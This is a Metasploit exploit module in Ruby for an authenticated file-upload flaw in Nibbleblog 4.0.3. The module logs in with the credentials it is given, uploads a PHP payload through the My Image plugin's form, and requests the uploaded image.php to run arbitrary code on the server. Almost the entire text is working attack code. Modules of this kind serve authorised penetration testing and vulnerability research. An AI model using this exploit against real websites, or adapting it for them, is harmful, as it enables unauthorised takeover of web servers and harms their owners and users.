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## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name'=> 'Nibbleblog File Upload Vulnerability', 'Description' => %q{ Nibbleblog contains a flaw that allows a authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name? 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module ], 'References'=> [ ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] ], 'DisclosureDate'=> 'Sep 01 2015', 'Platform'=> 'php', 'Arch'=> ARCH_PHP, 'Targets' => [['Nibbleblog 4.0.3', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI',[true, 'The base path to the web application', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ], self.class) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def check cookie = do_login(username, password) return Exploit::CheckCode::Detected unless cookie res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'cookie'=> cookie, 'vars_get'=> { 'controller'=> 'settings', 'action'=> 'general' } ) if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def do_login(user, pass) res = send_request_cgi( 'method'=> 'GET', 'uri' => normalize_uri(target_uri.path, 'admin.php') ) fail_with(Failure::Unreachable, 'No response received from the target.') unless res session_cookie = res.get_cookies vprint_status("#{peer} - Logging in...") res = send_request_cgi( 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'cookie'=> session_cookie, 'vars_post' => { 'username'=> user, 'password'=> pass } ) return session_cookie if res && res.code == 302 && res.headers['Location'] nil end def exploit unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check) print_error("Target does not appear to be vulnerable.") return end vprint_status("#{peer} - Authenticating using #{username}:#{password}") cookie = do_login(username, password) fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? vprint_good("#{peer} - Authenticated with Nibbleblog.") vprint_status("#{peer} - Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php" data = Rex::MIME::Message.new data.add_part('my_image', nil, nil, 'form-data; name="plugin"') data.add_part('My image', nil, nil, 'form-data; name="title"') data.add_part('4', nil, nil, 'form-data; name="position"') data.add_part('', nil, nil, 'form-data; name="caption"') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"") data.add_part('1', nil, nil, 'form-data; name="image_resize"') data.add_part('230', nil, nil, 'form-data; name="image_width"') data.add_part('200', nil, nil, 'form-data; name="image_height"') data.add_part('auto', nil, nil, 'form-data; name="image_option"') post_data = data.to_s vprint_status("#{peer} - Uploading payload...") res = send_request_cgi( 'method'=> 'POST', 'uri' => normalize_uri(target_uri, 'admin.php'), 'vars_get'=> { 'controller'=> 'plugins', 'action'=> 'config', 'plugin'=> 'my_image' }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data'=> post_data, 'cookie'=> cookie ) if res && /Call to a member function getChild\(\) on a non\-object/ === res.body fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?') elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') ) fail_with(Failure::Unknown, 'Unable to upload payload.') end vprint_good("#{peer} - Uploaded the payload.") php_fname = 'image.php' payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname) vprint_status("#{peer} - Parsed response.") register_files_for_cleanup(php_fname) vprint_status("#{peer} - Executing the payload at #{payload_url}.") send_request_cgi( 'uri' => payload_url, 'method'=> 'GET' ) end end |
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